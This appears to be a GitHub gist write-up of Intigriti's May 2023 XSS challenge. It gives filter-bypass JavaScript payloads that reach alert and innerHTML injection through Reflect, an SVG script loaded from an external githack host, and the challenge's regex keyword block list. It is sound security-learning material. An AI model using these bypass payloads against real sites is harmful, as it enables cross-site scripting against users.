Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active February 11, 2025 00:37
Show Gist options
  • Save Siss3l/76dc17652606f1946ef59e40f9afec4b to your computer and use it in GitHub Desktop.
Save Siss3l/76dc17652606f1946ef59e40f9afec4b to your computer and use it in GitHub Desktop.
Intigriti's May 2023 XSS web challenge thanks to @RenwaX23
xss = "'\xff'.codePointAt()"; // To obtain the number 255
xss = "Date.length"; // To obtain the digit 7
xss = "''+RegExp()"; // To return the pattern string "/(?:)/"
xss = "''.split('')"; // To get an empty array as `Array []` (from https://github.com/denysdovhan/wtfjs)
xss = "history.length"; // To get any number per page interaction, useful to avoid using like single quotes
xss = "localStorage.x"; // From the user `localStorage` who will retrieve any contained value from the `x` key
xss = "origin.match()"; // To get an array of one element as `['',index:0,input:'https://challenge-0523.intigriti.io',groups:undefined]`
xss = "(''+RegExp()).at()"; // To return a slash string "/" with only 18 allowed characters
xss = "(''+RegExp()).at()+(''+RegExp('t.ly'))+'testing'"; // To get a valid URL like "//t.ly/testing" of an URL shortener
xss = "with(Reflect)set(get(frames,'locatio'+'n'),'pr\otocol','javascri\pt')"; // To get a XSS arbitrary code on `Chrome` with some url payload in as `#%0aprint()`
xss = "Reflect.get(frames,Reflect.ownKeys(frames).sort().reverse().at(frames.innerWidth))(origin)"; // Have to get right size to use `alert` without quotes
/**
* The `Reflect` namespace object contains static methods for invoking interceptable JavaScript object internal methods;
* The `RegExp` object is used for matching text with some pattern;
* The `baseURI` property returns the absolute base URL of the element, as an useful alternative to `location.hash` property;
* The `frames` object returns the window itself listing the direct sub-frames of the current window;
* The `origin` global read-only property returns the origin of the global scope serialized as an url string;
* The `xss` object as input `<input id="xss" type="text" name="xss" placeholder="e.g. print()">` element value.
*/
xss = "Reflect.get(frames,'al\ert')(origin.slice(Date.length+true))";
/**
* Valid payload (60 of length) that acts like `alert(document.domain)` which displays
* "challenge-0523.intigriti.io" and that runs for both `Chromium` and `Firefox` web browser.
*/
poc = "#<embed/src=//gistcdn.githack.com/../../raw/../test.svg>"; // The SVG gist used with raw.githack.com to have proper Content-Type headers
xss = "Reflect.set(Reflect.get(frames,'xs\s'),'innerH\TML',unescape(Reflect.get(frames,'xs\s').baseURI))";
/**
* Valid payload (97 of length) that can execute arbitrary XSS code on the page, of
* `Content Security Policy` deviation with different `Cross-Origin Resource Sharing`
* and `X-Frame-Options` header on "SAMEORIGIN" for same origin of the page itself,
* based on the string containing an hash mark "#" followed by the fragment identifier
* of the "https://challenge-0523.intigriti.io/challenge/xss.html?xss=xss#poc" URL.
*
* Works approx. on `Firefox` with `<embed>` or `<object>` element and the `xss` object where
* instead `Chrome` browser quite operates with `document.body` and specific `SVG` format.
*
* Could have used some other techniques with a more in-depth approach here.
*/
Display the source blob
Display the rendered blob
Raw
<svg xmlns="http://www.w3.org/2000/svg"><script>eval("alert(document.domain)")</script></svg>
(() => {
opener = null; // Removing the reference to the `opener` window to prevent access to it from the current window.
name = ''; // Setting `name` to an empty string to clearing any previously set window name.
const xss = new URL(location).searchParams.get("xss") || ''; // Some problematic here.
const characters = /^[a-zA-Z,'+\\.()]+$/;
/**
* Regular expression of `characters` that:
* ^ asserts position at start of the string
* + matches the previous token between one and unlimited times (as many times as possible) giving back as needed (greedy)
* a-z matches a single character in the range between a (index 97) and z (index 122) (case sensitive)
* A-Z matches a single character in the range between A (index 65) and Z (index 90) (case sensitive)
* ,'+ matches a single character in the list ,'+ (case sensitive)
* \\ matches the character \ with index 9210 (5C16 or 1348) literally (case sensitive)
* .() matches a single character in the list .() (case sensitive)
* $ asserts position at the end of the string
*
* @default object
*/
const words = /alert|prompt|eval|setTimeout|setInterval|Function|location|open|document|script|url|HTML|Element|href|String|Object|Array|Number|atob|call|apply|replace|assign|on|write|import|navigator|navigation|fetch|Symbol|name|this|window|self|top|parent|globalThis|new|proto|construct|xss/i;
/** Matches the characters of these words literally (case sensitive) */
if(xss.length < 100 && characters.test(xss) && !words.test(xss)) {
script = document.createElement('script'); // Method that creates the HTML element specified by `script` tag name.
script.src = 'data:,' + xss; // The `src` attribute is set with data URI that allows embedding data directly into itself, which can cause flaws if not sanitized properly.
document.head.appendChild(script); // Appending the content of `script` element as `<script src="data:,payload">` value.
console.info(document.head.toString()); // Displaying the script's tag content as in a web browser.
}
else {
console.log("try harder"); // ¯\_(ツ)_/¯
}
})();
const document = {
/** Simple redundant DOM emulation of the `document` object to be run on `Node.js` environment */
createElement: (tagName) => {
return {
children: [], src: "", tagName,
appendChild: function (child) {
this.children.push(child);
},
set src(content) {
this.children = [content];
},
get src() {
return this.children.join("");
},
};
},
head: {
children: [], src: "src", tagName: "script",
appendChild: function (child) {
this.children.push(child.children.shift());
},
toString: function () {
return (function generateHTML(element) {
const childrenString = element.children.map((child) => child.toString()).join("");
return `<${element.tagName} ${element.src}="${childrenString}">`;
})(this);
},
},
};

Comments are disabled for this gist.